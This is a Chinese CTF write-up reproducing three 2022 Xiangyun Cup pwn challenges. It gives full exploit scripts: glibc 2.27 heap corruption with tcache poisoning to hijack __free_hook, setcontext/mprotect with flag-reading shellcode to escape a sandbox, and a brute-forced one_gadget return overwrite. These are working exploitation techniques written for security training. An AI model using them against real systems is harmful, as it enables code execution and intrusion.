首页 > 其他分享 >祥云杯2022-部分pwn复现

祥云杯2022-部分pwn复现

时间:2022-11-09 09:34:32浏览次数:46  
标签:libc mov eax add 复现 2022 pwn delete con

1. bitheap

2.27

限制数量0xf、限制大小0x200、无UAF

add:存在一个off-by-one

image-20221104231020616

edit:输入内容时,edit会把2进制转成16进制然后按位取反

image-20221104230809243

for i in range(12):
	add(i,0xf8)

for i in range(7):
	delete(i)

for i in range(7):
	add(i,0x1f8) #5+7

for i in range(7):
	delete(i)

image-20221107214042921

delete(7)

image-20221107214120976

con = fill_chunk(0xf0)
con += decode64(0x400)
con += b'\n'
edit(10,con)

开始构造unlink

关键堆块chunk7-950,填充chunk10-c50伪造大小0x400,并利用off-by-null将chunk11-d50的P位置0

image-20221107204006886

delete(11)

free chunk11使伪造的chunk10和11、chunk9合并成0x500大小的free_chunk,我们将正常的chunk8、9一并unlink,等后期利用

同时,这个0x500大小的free_chunk被放入了unsortbin中,可通过分割来获取libc基址

image-20221107204720930

image-20221107204745694

add(0,0x78)
show(0)

获取libc基址

image-20221107204819829

for i in range(3):
	add(i+1,0x100)
# chunk1 —> 9d0

for i in range(2):
	add(i+4,0xf8)
#为chunk8放入tcachebin留空

image-20221107210535815

image-20221107210610517

delete(8)

将利用chunk8放入tcachebin,而chunk8_a60的前部分是在chunk1_9d0里的,这意味着我们可以修改chunk8的fd指针来指向我们想去的地址,如free_hook

image-20221107210628987

image-20221107210554269

image-20221107211045189

con = fill_chunk(0x70)
con += decode64(0)
con += decode64(0x100)
#保持chunk8除fd外不变
con += decode64(free_hook)
edit(1,con)

image-20221107213234502

image-20221107211542166

add(6,0xf8)
#去chunk8
add(7,0xf8)
#嗨嗨
edit(7,decode64(system_add))
edit(4,decode64(0x68732f6e69622f))

image-20221107212818859

好耶

image-20221107212923494

image-20221107221202427

感谢师傅的exp,咕

def choice(cho):
    sla('Your choice:',cho)

def add(idx,size):
    choice(add_idx)
    sla('Index:',idx)
    sla('Size:',size)

def edit(idx,content):
    choice(edit_idx)
    sla('Index: ',idx)
    p.sendlineafter('Content:',content)

def show(idx):
    choice(show_idx)
    sla('Index: ',idx)
    
def delete(idx):
    choice(delete_idx)
    sla('Index:',idx)

'''
add(0,0xf8)
add(1,0xf8)
delete(1)
delete(0)

add(0,0xf8)
show(0)

heap_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00')) -0x360
ru('\x0a')

li('heap_base = '+hex(heap_base))

delete(0)

for i in range(7):
      add(i,0xf8) #0-6
    
add(7,0xf8) #7
add(8,0xf8) #8
add(9,0xf8) #9 
    
for i in range(7):
      delete(i)

delete(8)
delete(7) #7+8

add(7,0x10)
show(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x3ebe90
li('libc_base = '+hex(libc_base))
'''

def decode_bits(s):
	con = bin(s).replace('0b','').rjust(8,"\x00")
	con = con[::-1]
	return con.encode()

def decode64(s):
	con = b''
	con += decode_bits(s & 0xff)
	con += decode_bits((s & 0xffff) >> 0x8)
	con += decode_bits((s & 0xffffff) >> 0x10)
	con += decode_bits((s & 0xffffffff) >> 0x18)
	con += decode_bits((s & 0xffffffffff) >> 0x20)
	con += decode_bits((s & 0xffffffffffff) >> 0x28)
	con += decode_bits((s & 0xffffffffffffff) >> 0x30)
	con += decode_bits((s & 0xffffffffffffffff) >> 0x38)

	return con

def fill_chunk(size):
	con = b""
	for i in range(size // 8):
		con += decode64(0x6161616161616161)
	return con

for i in range(12):
	add(i,0xf8)

for i in range(7):
	delete(i)

add(13,0x10)

delete(7)

con = fill_chunk(0xf0)
con += decode64(0x400)
con += b'\n'
edit(10,con)

delete(11) #500
#dbg()
add(0,0x78)
show(0)
libc_base = uu64(p.recvuntil(b'\x7f')[-6:])-0x3ec0d0
li('libc = '+hex(libc_base))

system_add = libc_base + libc.sym['system'] 
binsh_add = libc_base + next(libc.search(b'/bin/sh'))
li(hex(binsh_add))
free_hook = libc_base + libc.sym['__free_hook']

for i in range(3):
	add(i+1,0x100)

for i in range(2):
	add(i+4,0xf8)

delete(8)

con = fill_chunk(0x70)
con += decode64(0)
con += decode64(0x100)
con += decode64(free_hook)
edit(1,con)

add(6,0xf8)
add(7,0xf8)
edit(7,decode64(system_add))
edit(4,decode64(0x68732f6e69622f))

delete(4)

2. sandboxheap

相较前面开了沙箱,orw读取flag

add(0,0x80)
add(1,0x18)
add(2,0xf0)

for i in range(7):
	add(i+3,0x80)

for i in range(7):
	delete(i+3)

for i in range(7):
	add(i+3,0xf0)

for i in range(7):
	delete(i+3)

chunk0、1、2合并

delete(0)

A_bin = b"10000010"
padding = encode(0x41)*0x10 + encode(0xb0) + encode(0)*8
edit(1,padding)

delete(2)

image-20221108101605267

image-20221108101658593

前后

image-20221108101619559

image-20221108101643759

add(0,0xa0)
show(0)
libc_base = uu64(p.recvuntil(b'\x7f')[-6:]) - 0x3ebe40
li('libc_base = '+hex(libc_base))
delete(1) #malloc_hook 1

image-20221108103440763

pl = A_bin*0x80 + encode(0x90)+encode(0)*7 + encode(0x20)+encode(0)*7 + encode(free_hook)
edit(0,pl)

free_hook

image-20221108103459235

image-20221108103409799

image-20221108103537462

add(6,0x18)
add(7,0x18)
edit(7,encode(setcontext+61))

setcontext+61

image-20221108104440716

for i in range(9,16):
	add(i,0x200)
buf_addr = libc_base+0x3ecb00 #archive_stat+64
li('buf_addr = '+hex(buf_addr))

image-20221108113438163

f1 = b""
f1 += encode(0)*0x68+encode64(0)+encode64(buf_addr)
f1 += encode64(0)*2+encode64(0x10000)+encode64(read_addr)*18
f1 += encode64(0x40000)+encode64(0x40000)

edit(9,f1)

image-20221108153238386

delete(9)

image-20221108145744209

image-20221108145949285

image-20221108150043682

image-20221108150304418

shellcode='''
mov edi,3
mov eax,0x2710
syscall

	mov eax,0x67616c66 ;//flag
	push rax
mov rdi,rsp
xor eax,eax
mov esi,eax
mov al,2
syscall ;//open

push rax
mov rsi,rsp
xor eax,eax
mov edx,eax
inc eax
mov edi,eax
mov dl,8
syscall ;// write open() return value

pop rax
test rax,rax
js over

mov edi,eax
mov rsi,rsp
mov edx,0x01010201
sub edx,0x01010101
xor eax,eax
syscall ;// read

mov edx,eax
mov rsi,rsp

	xor eax,eax
	inc eax
	mov edi,eax
	syscall ;// write

over:
	xor edi, edi
	mov eax,0x010101e8
	sub eax,0x01010101
	syscall ;// exit

'''
p.send(asm(shellcode))

image-20221108152650890

f1 = b""
f1 += encode(0)*0x68+encode64(buf_addr-0xb00)+encode64(0x1000) #e000-f000
f1 += encode64(0)*2+encode64(7)+encode64(mprotect)*18
f1 += encode64(0x400000)+encode64(0x400000)
edit(10,f1)

mprotect改权限

image-20221108183039518

image-20221108182323244

delete(10)
edit(7,encode64(buf_addr))

sla(':','4')
sla(':',str(7))

ni

image-20221108161708304

image-20221108183853013

image-20221108184051528

image-20221108184105665

image-20221108184123792

image-20221108184147010

image-20221108184205134

add(0,0x80)
add(1,0x18)
add(2,0xf0)

for i in range(7):
	add(i+3,0x80)

for i in range(7):
	delete(i+3)

for i in range(7):
	add(i+3,0xf0)

for i in range(7):
	delete(i+3)

delete(0)
A_bin = b"10000010"
padding = encode(0x41)*0x10 + encode(0xb0) + encode(0)*8
edit(1,padding)
delete(2)

add(0,0xa0)
show(0)
libc_base = uu64(p.recvuntil(b'\x7f')[-6:]) - 0x3ebe40
li('libc_base = '+hex(libc_base))

system_add = libc_base + libc.sym['system'] 
binsh_add = libc_base + next(libc.search(b'/bin/sh'))
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
read_addr = libc_base + libc.sym['read']

'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
onegad = [0x4f2a5,0x4f302,0x10a2fc]
one = libc_base + onegad[2]
li('one = '+hex(one))

delete(1) #malloc_hook 1

pl = A_bin*0x80 + encode(0x90)+encode(0)*7 + encode(0x20)+encode(0)*7 + encode(free_hook)
edit(0,pl)

add(6,0x18)
add(7,0x18) #2e0
edit(7,encode(setcontext+61))

for i in range(9,16):
	add(i,0x200)

buf_addr = libc_base+0x3ecb00 #archive_stat+64
li('buf_addr = '+hex(buf_addr))
f1 = b""
f1 += encode(0)*0x68+encode64(0)+encode64(buf_addr)
f1 += encode64(0)*2+encode64(0x1000)+encode64(read_addr)*18
f1 += encode64(0x400000)+encode64(0x400000)
edit(9,f1)

delete(9)

shellcode='''
mov edi,3
mov eax,0x2710
syscall

	mov eax,0x67616c66 ;//flag
	push rax
mov rdi,rsp
xor eax,eax
mov esi,eax
mov al,2
syscall ;//open

push rax
mov rsi,rsp
xor eax,eax
mov edx,eax
inc eax
mov edi,eax
mov dl,8
syscall ;// write open() return value

pop rax
test rax,rax
js over

mov edi,eax
mov rsi,rsp
mov edx,0x01010201
sub edx,0x01010101
xor eax,eax
syscall ;// read

mov edx,eax
mov rsi,rsp

	xor eax,eax
	inc eax
	mov edi,eax
	syscall ;// write

over:
	xor edi, edi
	mov eax,0x010101e8
	sub eax,0x01010101
	syscall ;// exit

'''

p.send(asm(shellcode))

f1 = b""
f1 += encode(0)*0x68+encode64(buf_addr-0xb00)+encode64(0x1000)
f1 += encode64(0)*2+encode64(7)+encode64(mprotect)*18
f1 += encode64(0x400000)+encode64(0x400000)
edit(10,f1)
delete(10)

edit(7,encode64(buf_addr))

sla(':','4')
dbg()
sla(':',str(7))

3. unexploitable

image-20221108185150698

ret与libc_start_main+231相距0x10

改ret的最后一字节为0xD1,就能ret到libc_start_main+231,然后改其为og,需要来爆破3位

image-20221108185016147

image-20221108185121210

有,但没啥可用的

image-20221108185338878

exp:

def pwn():
    payload=b'a'*0x18+p8(0xd1)
    p.send(payload)
    p.recvrepeat(0.1)
    og = random.randint(0,0xfff)*0x1000+0x4f302
    payload2=b'a'*0x18+p32(og)[:3]
    p.send(payload2)
    sleep(0.1)
    
i = 0
while True:
    p=process('./unexploitable')
    li('try:'+str(i))
    try:
        pwn()
        p.sendline("ls")
        r=p.recv(timeout=0.2)
        assert len(r) > 0
        p.sendline("cat flag")
        r=p.recv()
        print(r)
        irt()
    except Exception as e:
        p.close()
        i += 1

image-20221108212539911

运气不错

标签:libc,mov,eax,add,复现,2022,pwn,delete,con
From: https://www.cnblogs.com/shuzM/p/16871695.html

相关文章

  • DASCTF X GFCTF 2022十月挑战赛 pwn R()P
    R()P⾼版本上GCC编译的程序,没有csu这种好⽤的gadget可以⽤由于是优化过的编译,没有rbp链,⻓度参数通过rsp取得,地址通过rax取得这就给了我们直接控制read的可能,可以直接......
  • 2022-11-08 行情启动时的拐点,上下上形成了奔走中枢或者线段走势
    案例一:先看今天纳斯达克的一小段上涨1分钟的一段下上下走势引出的5分钟一笔上涨  案例2:EUR/USD 一开始的启动1.4h下跌终于出现最后一跌2.30分钟出现横盘整......
  • 组帧封包-20221108
    42byteaddress=Convert.ToByte(tbxAddress.Text.Trim(),16);//地址码43bytecmd=Convert.ToByte(tbxCmd.Text.Trim()......
  • 2022-11-8学习内容
    1.案例-购物车-商品列表展示1.1MyApplication.javapackagecom.example.chapter06;importandroid.app.Application;importandroid.content.res.Configuration;imp......
  • 2022.11.8(软件工程y实验一)
    1)回顾你过去将近3年的学习经历当初你报考的时候,是真正喜欢计算机这个专业吗?你现在后悔选择了这个专业吗?你认为你现在最喜欢的领域是什么(可以是计算机的也可以是其它领......
  • 2022.11.8
    ###csp模拟##出错点t1:for(intj=st;j*p[i]<=r;j++){if(vv[j*p[i]-l])continue;//不减l就超了!vv[j*p[i]-l]=p[i];} 没有考虑......
  • CSP-S 2022 题解
    A假期计划若\(u\)转车不超过\(k\)次可以到达\(v\),相当于\(u\leadstov\)的最短路长度不超过\(k+1\)。对于每个点\(u\),我们首先预处理满足如下条件的点\(v\)......
  • #yyds干货盘点#【愚公系列】2022年11月 微信小程序-导航(功能页)
    前言functional-page-navigator组件:是一个非常强大的组件,用于跳转插件的功能页,主要的参数如下:属性类型默认值必填说明最低版本versionstringrelease否......
  • 【2022-11-08】Git使用
    一、Git介绍#Git简介Git是一款免费、开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。Git是一个开源的分布式版本控制系统,可以有效、高速的处理从很......
  • DASCTF X CBCTF 2022九月挑战赛
    DASCTFXCBCTF2022九月挑战赛期中考结束了有点时间,做点题熟一下手,欢迎讨论dino3D审计源码找到了发送请求的部分importrequestsfromhashlibimportmd5import......